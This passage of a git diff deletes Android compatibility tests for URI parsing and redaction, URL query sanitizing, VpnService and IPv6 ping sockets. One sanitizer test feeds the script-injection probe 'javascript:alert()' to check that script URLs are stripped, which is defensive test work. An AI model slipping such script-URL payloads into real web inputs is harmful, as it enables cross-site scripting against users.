-        compareHierarchical(
-                uriString, ssp, built, scheme, authority, path, query, fragment);
-
-        // Test building with decoded versions.
-        built = new Uri.Builder()
-                .scheme(scheme)
-                .authority(authority)
-                .path(path)
-                .query(query)
-                .fragment(fragment)
-                .build();
-
-        compareHierarchical(
-                uriString, ssp, built, scheme, authority, path, query, fragment);
-        compareHierarchical(
-                uriString, ssp, built, scheme, authority, path, query, fragment);
-
-        // Rebuild.
-        built = built.buildUpon().build();
-
-        compareHierarchical(
-                uriString, ssp, built, scheme, authority, path, query, fragment);
-        compareHierarchical(
-                uriString, ssp, built, scheme, authority, path, query, fragment);
-    }
-
-    private static void compareHierarchical(String uriString, String ssp,
-        Uri uri,
-        String scheme, String authority, String path, String query,
-        String fragment) {
-        assertEquals(scheme, uri.getScheme());
-        assertEquals(authority, uri.getAuthority());
-        assertEquals(authority, uri.getEncodedAuthority());
-        assertEquals(path, uri.getPath());
-        assertEquals(path, uri.getEncodedPath());
-        assertEquals(query, uri.getQuery());
-        assertEquals(query, uri.getEncodedQuery());
-        assertEquals(fragment, uri.getFragment());
-        assertEquals(fragment, uri.getEncodedFragment());
-        assertEquals(ssp, uri.getSchemeSpecificPart());
-
-        if (scheme != null) {
-            assertTrue(uri.isAbsolute());
-            assertFalse(uri.isRelative());
-        } else {
-            assertFalse(uri.isAbsolute());
-            assertTrue(uri.isRelative());
-        }
-
-        assertFalse(uri.isOpaque());
-        assertTrue(uri.isHierarchical());
-        assertEquals(uriString, uri.toString());
-    }
-
-    public void testNormalizeScheme() {
-        assertEquals(Uri.parse(""), Uri.parse("").normalizeScheme());
-        assertEquals(Uri.parse("http://www.android.com"),
-                Uri.parse("http://www.android.com").normalizeScheme());
-        assertEquals(Uri.parse("http://USER@WWW.ANDROID.COM:100/ABOUT?foo=blah@bar=bleh#c"),
-                Uri.parse("HTTP://USER@WWW.ANDROID.COM:100/ABOUT?foo=blah@bar=bleh#c")
-                        .normalizeScheme());
-    }
-
-    public void testToSafeString_tel() {
-        checkToSafeString("tel:xxxxxx", "tel:Google");
-        checkToSafeString("tel:xxxxxxxxxx", "tel:1234567890");
-        checkToSafeString("tEl:xxx.xxx-xxxx", "tEl:123.456-7890");
-    }
-
-    public void testToSafeString_sip() {
-        checkToSafeString("sip:xxxxxxx@xxxxxxx.xxxxxxxx", "sip:android@android.com:1234");
-        checkToSafeString("sIp:xxxxxxx@xxxxxxx.xxx", "sIp:android@android.com");
-    }
-
-    public void testToSafeString_sms() {
-        checkToSafeString("sms:xxxxxx", "sms:123abc");
-        checkToSafeString("smS:xxx.xxx-xxxx", "smS:123.456-7890");
-    }
-
-    public void testToSafeString_smsto() {
-        checkToSafeString("smsto:xxxxxx", "smsto:123abc");
-        checkToSafeString("SMSTo:xxx.xxx-xxxx", "SMSTo:123.456-7890");
-    }
-
-    public void testToSafeString_mailto() {
-        checkToSafeString("mailto:xxxxxxx@xxxxxxx.xxx", "mailto:android@android.com");
-        checkToSafeString("Mailto:xxxxxxx@xxxxxxx.xxxxxxxxxx",
-                "Mailto:android@android.com/secret");
-    }
-
-    public void testToSafeString_nfc() {
-        checkToSafeString("nfc:xxxxxx", "nfc:123abc");
-        checkToSafeString("nfc:xxx.xxx-xxxx", "nfc:123.456-7890");
-        checkToSafeString("nfc:xxxxxxx@xxxxxxx.xxx", "nfc:android@android.com");
-    }
-
-    public void testToSafeString_http() {
-        checkToSafeString("http://www.android.com/...", "http://www.android.com");
-        checkToSafeString("HTTP://www.android.com/...", "HTTP://www.android.com");
-        checkToSafeString("http://www.android.com/...", "http://www.android.com/");
-        checkToSafeString("http://www.android.com/...", "http://www.android.com/secretUrl?param");
-        checkToSafeString("http://www.android.com/...",
-                "http://user:pwd@www.android.com/secretUrl?param");
-        checkToSafeString("http://www.android.com/...",
-                "http://user@www.android.com/secretUrl?param");
-        checkToSafeString("http://www.android.com/...", "http://www.android.com/secretUrl?param");
-        checkToSafeString("http:///...", "http:///path?param");
-        checkToSafeString("http:///...", "http://");
-        checkToSafeString("http://:12345/...", "http://:12345/");
-    }
-
-    public void testToSafeString_https() {
-        checkToSafeString("https://www.android.com/...", "https://www.android.com/secretUrl?param");
-        checkToSafeString("https://www.android.com:8443/...",
-                "https://user:pwd@www.android.com:8443/secretUrl?param");
-        checkToSafeString("https://www.android.com/...", "https://user:pwd@www.android.com");
-        checkToSafeString("Https://www.android.com/...", "Https://user:pwd@www.android.com");
-    }
-
-    public void testToSafeString_ftp() {
-        checkToSafeString("ftp://ftp.android.com/...", "ftp://ftp.android.com/");
-        checkToSafeString("ftP://ftp.android.com/...", "ftP://anonymous@ftp.android.com/");
-        checkToSafeString("ftp://ftp.android.com:2121/...",
-                "ftp://root:love@ftp.android.com:2121/");
-    }
-
-    public void testToSafeString_rtsp() {
-        checkToSafeString("rtsp://rtsp.android.com/...", "rtsp://rtsp.android.com/");
-        checkToSafeString("rtsp://rtsp.android.com/...", "rtsp://rtsp.android.com/video.mov");
-        checkToSafeString("rtsp://rtsp.android.com/...", "rtsp://rtsp.android.com/video.mov?param");
-        checkToSafeString("RtsP://rtsp.android.com/...", "RtsP://anonymous@rtsp.android.com/");
-        checkToSafeString("rtsp://rtsp.android.com:2121/...",
-                "rtsp://username:password@rtsp.android.com:2121/");
-    }
-
-    public void testToSafeString_notSupport() {
-        checkToSafeString("unsupported://ajkakjah/askdha/secret?secret",
-                "unsupported://ajkakjah/askdha/secret?secret");
-        checkToSafeString("unsupported:ajkakjah/askdha/secret?secret",
-                "unsupported:ajkakjah/askdha/secret?secret");
-    }
-
-    private void checkToSafeString(String expectedSafeString, String original) {
-        assertEquals(expectedSafeString, Uri.parse(original).toSafeString());
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/Uri_BuilderTest.java b/tests/tests/net/src/android/net/cts/Uri_BuilderTest.java
deleted file mode 100644
index 4088d82..0000000
--- a/tests/tests/net/src/android/net/cts/Uri_BuilderTest.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import junit.framework.TestCase;
-import android.net.Uri.Builder;
-import android.net.Uri;
-
-public class Uri_BuilderTest extends TestCase {
-    public void testBuilderOperations() {
-        Uri uri = Uri.parse("http://google.com/p1?query#fragment");
-        Builder builder = uri.buildUpon();
-        uri = builder.appendPath("p2").build();
-        assertEquals("http", uri.getScheme());
-        assertEquals("google.com", uri.getAuthority());
-        assertEquals("/p1/p2", uri.getPath());
-        assertEquals("query", uri.getQuery());
-        assertEquals("fragment", uri.getFragment());
-        assertEquals(uri.toString(), builder.toString());
-
-        uri = Uri.parse("mailto:nobody");
-        builder = uri.buildUpon();
-        uri = builder.build();
-        assertEquals("mailto", uri.getScheme());
-        assertEquals("nobody", uri.getSchemeSpecificPart());
-        assertEquals(uri.toString(), builder.toString());
-
-        uri = new Uri.Builder()
-                .scheme("http")
-                .encodedAuthority("google.com")
-                .encodedPath("/p1")
-                .appendEncodedPath("p2")
-                .encodedQuery("query")
-                .appendQueryParameter("query2", null)
-                .encodedFragment("fragment")
-                .build();
-        assertEquals("http", uri.getScheme());
-        assertEquals("google.com", uri.getEncodedAuthority());
-        assertEquals("/p1/p2", uri.getEncodedPath());
-        assertEquals("query&query2=null", uri.getEncodedQuery());
-        assertEquals("fragment", uri.getEncodedFragment());
-
-        uri = new Uri.Builder()
-                .scheme("mailto")
-                .encodedOpaquePart("nobody")
-                .build();
-        assertEquals("mailto", uri.getScheme());
-        assertEquals("nobody", uri.getEncodedSchemeSpecificPart());
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/UrlQuerySanitizerTest.java b/tests/tests/net/src/android/net/cts/UrlQuerySanitizerTest.java
deleted file mode 100644
index 5a70928..0000000
--- a/tests/tests/net/src/android/net/cts/UrlQuerySanitizerTest.java
+++ /dev/null
@@ -1,290 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNotSame;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-
-import android.net.UrlQuerySanitizer;
-import android.net.UrlQuerySanitizer.IllegalCharacterValueSanitizer;
-import android.net.UrlQuerySanitizer.ParameterValuePair;
-import android.net.UrlQuerySanitizer.ValueSanitizer;
-import android.os.Build;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.filters.SmallTest;
-
-import com.android.testutils.DevSdkIgnoreRule;
-import com.android.testutils.DevSdkIgnoreRule.IgnoreUpTo;
-
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.List;
-import java.util.Set;
-
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class UrlQuerySanitizerTest {
-    @Rule
-    public final DevSdkIgnoreRule mIgnoreRule = new DevSdkIgnoreRule();
-
-    private static final int ALL_OK = IllegalCharacterValueSanitizer.ALL_OK;
-
-    // URL for test.
-    private static final String TEST_URL = "http://example.com/?name=Joe+User&age=20&height=175";
-
-    // Default sanitizer's change when "+".
-    private static final String EXPECTED_UNDERLINE_NAME = "Joe_User";
-
-    // IllegalCharacterValueSanitizer sanitizer's change when "+".
-    private static final String EXPECTED_SPACE_NAME = "Joe User";
-    private static final String EXPECTED_AGE = "20";
-    private static final String EXPECTED_HEIGHT = "175";
-    private static final String NAME = "name";
-    private static final String AGE = "age";
-    private static final String HEIGHT = "height";
-
-    @Test
-    public void testUrlQuerySanitizer() {
-        MockUrlQuerySanitizer uqs = new MockUrlQuerySanitizer();
-        assertFalse(uqs.getAllowUnregisteredParamaters());
-
-        final String query = "book=thinking in java&price=108";
-        final String book = "book";
-        final String bookName = "thinking in java";
-        final String price = "price";
-        final String bookPrice = "108";
-        final String notExistPar = "notExistParameter";
-        uqs.registerParameters(new String[]{book, price}, UrlQuerySanitizer.getSpaceLegal());
-        uqs.parseQuery(query);
-        assertTrue(uqs.hasParameter(book));
-        assertTrue(uqs.hasParameter(price));
-        assertFalse(uqs.hasParameter(notExistPar));
-        assertEquals(bookName, uqs.getValue(book));
-        assertEquals(bookPrice, uqs.getValue(price));
-        assertNull(uqs.getValue(notExistPar));
-        uqs.clear();
-        assertFalse(uqs.hasParameter(book));
-        assertFalse(uqs.hasParameter(price));
-
-        uqs.parseEntry(book, bookName);
-        assertTrue(uqs.hasParameter(book));
-        assertEquals(bookName, uqs.getValue(book));
-        uqs.parseEntry(price, bookPrice);
-        assertTrue(uqs.hasParameter(price));
-        assertEquals(bookPrice, uqs.getValue(price));
-        assertFalse(uqs.hasParameter(notExistPar));
-        assertNull(uqs.getValue(notExistPar));
-
-        uqs = new MockUrlQuerySanitizer(TEST_URL);
-        assertTrue(uqs.getAllowUnregisteredParamaters());
-
-        assertTrue(uqs.hasParameter(NAME));
-        assertTrue(uqs.hasParameter(AGE));
-        assertTrue(uqs.hasParameter(HEIGHT));
-        assertFalse(uqs.hasParameter(notExistPar));
-
-        assertEquals(EXPECTED_UNDERLINE_NAME, uqs.getValue(NAME));
-        assertEquals(EXPECTED_AGE, uqs.getValue(AGE));
-        assertEquals(EXPECTED_HEIGHT, uqs.getValue(HEIGHT));
-        assertNull(uqs.getValue(notExistPar));
-
-        final int ContainerLen = 3;
-        Set<String> urlSet = uqs.getParameterSet();
-        assertEquals(ContainerLen, urlSet.size());
-        assertTrue(urlSet.contains(NAME));
-        assertTrue(urlSet.contains(AGE));
-        assertTrue(urlSet.contains(HEIGHT));
-        assertFalse(urlSet.contains(notExistPar));
-
-        List<ParameterValuePair> urlList = uqs.getParameterList();
-        assertEquals(ContainerLen, urlList.size());
-        ParameterValuePair pvp = urlList.get(0);
-        assertEquals(NAME, pvp.mParameter);
-        assertEquals(EXPECTED_UNDERLINE_NAME, pvp.mValue);
-        pvp = urlList.get(1);
-        assertEquals(AGE, pvp.mParameter);
-        assertEquals(EXPECTED_AGE, pvp.mValue);
-        pvp = urlList.get(2);
-        assertEquals(HEIGHT, pvp.mParameter);
-        assertEquals(EXPECTED_HEIGHT, pvp.mValue);
-
-        assertFalse(uqs.getPreferFirstRepeatedParameter());
-        uqs.addSanitizedEntry(HEIGHT, EXPECTED_HEIGHT + 1);
-        assertEquals(ContainerLen, urlSet.size());
-        assertEquals(ContainerLen + 1, urlList.size());
-        assertEquals(EXPECTED_HEIGHT + 1, uqs.getValue(HEIGHT));
-
-        uqs.setPreferFirstRepeatedParameter(true);
-        assertTrue(uqs.getPreferFirstRepeatedParameter());
-        uqs.addSanitizedEntry(HEIGHT, EXPECTED_HEIGHT);
-        assertEquals(ContainerLen, urlSet.size());
-        assertEquals(ContainerLen + 2, urlList.size());
-        assertEquals(EXPECTED_HEIGHT + 1, uqs.getValue(HEIGHT));
-
-        uqs.registerParameter(NAME, null);
-        assertNull(uqs.getValueSanitizer(NAME));
-        assertNotNull(uqs.getEffectiveValueSanitizer(NAME));
-
-        uqs.setAllowUnregisteredParamaters(false);
-        assertFalse(uqs.getAllowUnregisteredParamaters());
-        uqs.registerParameter(NAME, null);
-        assertNull(uqs.getEffectiveValueSanitizer(NAME));
-
-        ValueSanitizer vs = new IllegalCharacterValueSanitizer(ALL_OK);
-        uqs.registerParameter(NAME, vs);
-        uqs.parseUrl(TEST_URL);
-        assertEquals(EXPECTED_SPACE_NAME, uqs.getValue(NAME));
-        assertNotSame(EXPECTED_AGE, uqs.getValue(AGE));
-
-        String[] register = {NAME, AGE};
-        uqs.registerParameters(register, vs);
-        uqs.parseUrl(TEST_URL);
-        assertEquals(EXPECTED_SPACE_NAME, uqs.getValue(NAME));
-        assertEquals(EXPECTED_AGE, uqs.getValue(AGE));
-        assertNotSame(EXPECTED_HEIGHT, uqs.getValue(HEIGHT));
-
-        uqs.setUnregisteredParameterValueSanitizer(vs);
-        assertEquals(vs, uqs.getUnregisteredParameterValueSanitizer());
-
-        vs = UrlQuerySanitizer.getAllIllegal();
-        assertEquals("Joe_User", vs.sanitize("Joe<User"));
-        vs = UrlQuerySanitizer.getAllButNulAndAngleBracketsLegal();
-        assertEquals("Joe   User", vs.sanitize("Joe<>\0User"));
-        vs = UrlQuerySanitizer.getAllButNulLegal();
-        assertEquals("Joe User", vs.sanitize("Joe\0User"));
-        vs = UrlQuerySanitizer.getAllButWhitespaceLegal();
-        assertEquals("Joe_User", vs.sanitize("Joe User"));
-        vs = UrlQuerySanitizer.getAmpAndSpaceLegal();
-        assertEquals("Joe User&", vs.sanitize("Joe User&"));
-        vs = UrlQuerySanitizer.getAmpLegal();
-        assertEquals("Joe_User&", vs.sanitize("Joe User&"));
-        vs = UrlQuerySanitizer.getSpaceLegal();
-        assertEquals("Joe User ", vs.sanitize("Joe User&"));
-        vs = UrlQuerySanitizer.getUrlAndSpaceLegal();
-        assertEquals("Joe User&Smith%B5'\'", vs.sanitize("Joe User&Smith%B5'\'"));
-        vs = UrlQuerySanitizer.getUrlLegal();
-        assertEquals("Joe_User&Smith%B5'\'", vs.sanitize("Joe User&Smith%B5'\'"));
-
-        String escape = "Joe";
-        assertEquals(escape, uqs.unescape(escape));
-        String expectedPlus = "Joe User";
-        String expectedPercentSignHex = "title=" + Character.toString((char)181);
-        String initialPlus = "Joe+User";
-        String initialPercentSign = "title=%B5";
-        assertEquals(expectedPlus, uqs.unescape(initialPlus));
-        assertEquals(expectedPercentSignHex, uqs.unescape(initialPercentSign));
-        String expectedPlusThenPercentSign = "Joe Random, User";
-        String plusThenPercentSign = "Joe+Random%2C%20User";
-        assertEquals(expectedPlusThenPercentSign, uqs.unescape(plusThenPercentSign));
-        String expectedPercentSignThenPlus = "Joe, Random User";
-        String percentSignThenPlus = "Joe%2C+Random+User";
-        assertEquals(expectedPercentSignThenPlus, uqs.unescape(percentSignThenPlus));
-
-        assertTrue(uqs.decodeHexDigit('0') >= 0);
-        assertTrue(uqs.decodeHexDigit('b') >= 0);
-        assertTrue(uqs.decodeHexDigit('F') >= 0);
-        assertTrue(uqs.decodeHexDigit('$') < 0);
-
-        assertTrue(uqs.isHexDigit('0'));
-        assertTrue(uqs.isHexDigit('b'));
-        assertTrue(uqs.isHexDigit('F'));
-        assertFalse(uqs.isHexDigit('$'));
-
-        uqs.clear();
-        assertEquals(0, urlSet.size());
-        assertEquals(0, urlList.size());
-
-        uqs.setPreferFirstRepeatedParameter(true);
-        assertTrue(uqs.getPreferFirstRepeatedParameter());
-        uqs.setPreferFirstRepeatedParameter(false);
-        assertFalse(uqs.getPreferFirstRepeatedParameter());
-
-        UrlQuerySanitizer uq = new UrlQuerySanitizer();
-        uq.setPreferFirstRepeatedParameter(true);
-        final String PARA_ANSWER = "answer";
-        uq.registerParameter(PARA_ANSWER, new MockValueSanitizer());
-        uq.parseUrl("http://www.google.com/question?answer=13&answer=42");
-        assertEquals("13", uq.getValue(PARA_ANSWER));
-
-        uq.setPreferFirstRepeatedParameter(false);
-        uq.parseQuery("http://www.google.com/question?answer=13&answer=42");
-        assertEquals("42", uq.getValue(PARA_ANSWER));
-
-    }
-
-    @Test @IgnoreUpTo(Build.VERSION_CODES.Q) // Only fixed in R
-    public void testScriptUrlOk_73822755() {
-        ValueSanitizer sanitizer = new UrlQuerySanitizer.IllegalCharacterValueSanitizer(
-                UrlQuerySanitizer.IllegalCharacterValueSanitizer.SCRIPT_URL_OK);
-        assertEquals("javascript:alert()", sanitizer.sanitize("javascript:alert()"));
-    }
-
-    @Test @IgnoreUpTo(Build.VERSION_CODES.Q) // Only fixed in R
-    public void testScriptUrlBlocked_73822755() {
-        ValueSanitizer sanitizer = UrlQuerySanitizer.getUrlAndSpaceLegal();
-        assertEquals("", sanitizer.sanitize("javascript:alert()"));
-    }
-
-    private static class MockValueSanitizer implements ValueSanitizer{
-
-        public String sanitize(String value) {
-            return value;
-        }
-    }
-
-    class MockUrlQuerySanitizer extends UrlQuerySanitizer {
-        public MockUrlQuerySanitizer() {
-            super();
-        }
-
-        public MockUrlQuerySanitizer(String url) {
-            super(url);
-        }
-
-        @Override
-        protected void addSanitizedEntry(String parameter, String value) {
-            super.addSanitizedEntry(parameter, value);
-        }
-
-        @Override
-        protected void clear() {
-            super.clear();
-        }
-
-        @Override
-        protected int decodeHexDigit(char c) {
-            return super.decodeHexDigit(c);
-        }
-
-        @Override
-        protected boolean isHexDigit(char c) {
-            return super.isHexDigit(c);
-        }
-
-        @Override
-        protected void parseEntry(String parameter, String value) {
-            super.parseEntry(parameter, value);
-        }
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/UrlQuerySanitizer_IllegalCharacterValueSanitizerTest.java b/tests/tests/net/src/android/net/cts/UrlQuerySanitizer_IllegalCharacterValueSanitizerTest.java
deleted file mode 100644
index f86af31..0000000
--- a/tests/tests/net/src/android/net/cts/UrlQuerySanitizer_IllegalCharacterValueSanitizerTest.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import android.net.UrlQuerySanitizer;
-import android.net.UrlQuerySanitizer.IllegalCharacterValueSanitizer;
-import android.test.AndroidTestCase;
-
-public class UrlQuerySanitizer_IllegalCharacterValueSanitizerTest extends AndroidTestCase {
-    static final int SPACE_OK = IllegalCharacterValueSanitizer.SPACE_OK;
-    public void testSanitize() {
-        IllegalCharacterValueSanitizer sanitizer =  new IllegalCharacterValueSanitizer(SPACE_OK);
-        assertEquals("Joe User", sanitizer.sanitize("Joe<User"));
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/UrlQuerySanitizer_ParameterValuePairTest.java b/tests/tests/net/src/android/net/cts/UrlQuerySanitizer_ParameterValuePairTest.java
deleted file mode 100644
index 077cdaf..0000000
--- a/tests/tests/net/src/android/net/cts/UrlQuerySanitizer_ParameterValuePairTest.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import android.net.UrlQuerySanitizer;
-import android.net.UrlQuerySanitizer.ParameterValuePair;
-import android.test.AndroidTestCase;
-
-public class UrlQuerySanitizer_ParameterValuePairTest extends AndroidTestCase {
-    public void testConstructor() {
-        final String parameter = "name";
-        final String vaule = "Joe_user";
-
-        UrlQuerySanitizer uqs = new UrlQuerySanitizer();
-        ParameterValuePair parameterValuePair = uqs.new ParameterValuePair(parameter, vaule);
-        assertEquals(parameter, parameterValuePair.mParameter);
-        assertEquals(vaule, parameterValuePair.mValue);
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/VpnServiceTest.java b/tests/tests/net/src/android/net/cts/VpnServiceTest.java
deleted file mode 100644
index 15af23c..0000000
--- a/tests/tests/net/src/android/net/cts/VpnServiceTest.java
+++ /dev/null
@@ -1,124 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.net.cts;
-
-import android.content.Intent;
-import android.net.VpnService;
-import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-
-import java.io.File;
-import java.net.DatagramSocket;
-import java.net.Socket;
-
-/**
- * VpnService API is built with security in mind. However, its security also
- * blocks us from writing tests for positive cases. For now we only test for
- * negative cases, and we will try to cover the rest in the future.
- */
-public class VpnServiceTest extends AndroidTestCase {
-
-    private static final String TAG = VpnServiceTest.class.getSimpleName();
-
-    private VpnService mVpnService = new VpnService();
-
-    @AppModeFull(reason = "PackageManager#queryIntentActivities cannot access in instant app mode")
-    public void testPrepare() throws Exception {
-        // Should never return null since we are not prepared.
-        Intent intent = VpnService.prepare(mContext);
-        assertNotNull(intent);
-
-        // Should be always resolved by only one activity.
-        int count = mContext.getPackageManager().queryIntentActivities(intent, 0).size();
-        assertEquals(1, count);
-    }
-
-    public void testEstablish() throws Exception {
-        ParcelFileDescriptor descriptor = null;
-        try {
-            // Should always return null since we are not prepared.
-            descriptor = mVpnService.new Builder().addAddress("8.8.8.8", 30).establish();
-            assertNull(descriptor);
-        } finally {
-            try {
-                descriptor.close();
-            } catch (Exception e) {
-                // ignore
-            }
-        }
-    }
-
-    @AppModeFull(reason = "Socket cannot bind in instant app mode")
-    public void testProtect_DatagramSocket() throws Exception {
-        DatagramSocket socket = new DatagramSocket();
-        try {
-            // Should always return false since we are not prepared.
-            assertFalse(mVpnService.protect(socket));
-        } finally {
-            try {
-                socket.close();
-            } catch (Exception e) {
-                // ignore
-            }
-        }
-    }
-
-    public void testProtect_Socket() throws Exception {
-        Socket socket = new Socket();
-        try {
-            // Should always return false since we are not prepared.
-            assertFalse(mVpnService.protect(socket));
-        } finally {
-            try {
-                socket.close();
-            } catch (Exception e) {
-                // ignore
-            }
-        }
-    }
-
-    @AppModeFull(reason = "Socket cannot bind in instant app mode")
-    public void testProtect_int() throws Exception {
-        DatagramSocket socket = new DatagramSocket();
-        ParcelFileDescriptor descriptor = ParcelFileDescriptor.fromDatagramSocket(socket);
-        try {
-            // Should always return false since we are not prepared.
-            assertFalse(mVpnService.protect(descriptor.getFd()));
-        } finally {
-            try {
-                descriptor.close();
-            } catch (Exception e) {
-                // ignore
-            }
-            try {
-                socket.close();
-            } catch (Exception e) {
-                // ignore
-            }
-        }
-    }
-
-    public void testTunDevice() throws Exception {
-        File file = new File("/dev/tun");
-        assertTrue(file.exists());
-        assertFalse(file.isFile());
-        assertFalse(file.isDirectory());
-        assertFalse(file.canExecute());
-        assertFalse(file.canRead());
-        assertFalse(file.canWrite());
-    }
-}
diff --git a/tests/tests/net/src/android/net/ipv6/cts/PingTest.java b/tests/tests/net/src/android/net/ipv6/cts/PingTest.java
deleted file mode 100644
index 146fd83..0000000
--- a/tests/tests/net/src/android/net/ipv6/cts/PingTest.java
+++ /dev/null
@@ -1,172 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.ipv6.cts;
-
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import android.system.ErrnoException;
-import android.system.Os;
-import android.system.StructTimeval;
-import static android.system.OsConstants.*;
-
-import java.io.FileDescriptor;
-import java.io.IOException;
-import java.net.InetAddress;
-import java.net.Inet6Address;
-import java.net.InetSocketAddress;
-import java.net.UnknownHostException;
-import java.nio.ByteBuffer;
-import java.util.Arrays;
-import java.util.Random;
-
-/**
- * Checks that the device has kernel support for the IPv6 ping socket. This allows ping6 to work
- * without root privileges. The necessary kernel code is in Linux 3.11 or above, or the
- * <code>common/android-3.x</code> kernel trees. If you are not running one of these kernels, the
- * functionality can be obtained by cherry-picking the following patches from David Miller's
- * <code>net-next</code> tree:
- * <ul>
- * <li>6d0bfe2 net: ipv6: Add IPv6 support to the ping socket.
- * <li>c26d6b4 ping: always initialize ->sin6_scope_id and ->sin6_flowinfo
- * <li>fbfe80c net: ipv6: fix wrong ping_v6_sendmsg return value
- * <li>a1bdc45 net: ipv6: add missing lock in ping_v6_sendmsg
- * <li>cf970c0 ping: prevent NULL pointer dereference on write to msg_name
- * </ul>
- * or the equivalent backports to the <code>common/android-3.x</code> trees.
- */
-public class PingTest extends AndroidTestCase {
-    /** Maximum size of the packets we're using to test. */
-    private static final int MAX_SIZE = 4096;
-
-    /** Size of the ICMPv6 header. */
-    private static final int ICMP_HEADER_SIZE = 8;
-
-    /** Number of packets to test. */
-    private static final int NUM_PACKETS = 10;
-
-    /** The beginning of an ICMPv6 echo request: type, code, and uninitialized checksum. */
-    private static final byte[] PING_HEADER = new byte[] {
-        (byte) ICMP6_ECHO_REQUEST, (byte) 0x00, (byte) 0x00, (byte) 0x00
-    };
-
-    /**
-     * Returns a byte array containing an ICMPv6 echo request with the specified payload length.
-     */
-    private byte[] pingPacket(int payloadLength) {
-        byte[] packet = new byte[payloadLength + ICMP_HEADER_SIZE];
-        new Random().nextBytes(packet);
-        System.arraycopy(PING_HEADER, 0, packet, 0, PING_HEADER.length);
-        return packet;
-    }
-
-    /**
-     * Checks that the first length bytes of two byte arrays are equal.
-     */
-    private void assertArrayBytesEqual(byte[] expected, byte[] actual, int length) {
-        for (int i = 0; i < length; i++) {
-            assertEquals("Arrays differ at index " + i + ":", expected[i], actual[i]);
-        }
-    }
-
-    /**
-     * Creates an IPv6 ping socket and sets a receive timeout of 100ms.
-     */
-    private FileDescriptor createPingSocket() throws ErrnoException {
-        FileDescriptor s = Os.socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6);
-        Os.setsockoptTimeval(s, SOL_SOCKET, SO_RCVTIMEO, StructTimeval.fromMillis(100));
-        return s;
-    }
-
-    /**
-     * Sends a ping packet to a random port on the specified address on the specified socket.
-     */
-    private void sendPing(FileDescriptor s,
-            InetAddress address, byte[] packet) throws ErrnoException, IOException {
-        // Pick a random port. Choose a range that gives a reasonable chance of picking a low port.
-        int port = (int) (Math.random() * 2048);
-
-        // Send the packet.
-        int ret = Os.sendto(s, ByteBuffer.wrap(packet), 0, address, port);
-        assertEquals(packet.length, ret);
-    }
-
-    /**
-     * Checks that a socket has received a response appropriate to the specified packet.
-     */
-    private void checkResponse(FileDescriptor s, InetAddress dest,
-            byte[] sent, boolean useRecvfrom) throws ErrnoException, IOException {
-        ByteBuffer responseBuffer = ByteBuffer.allocate(MAX_SIZE);
-        int bytesRead;
-
-        // Receive the response.
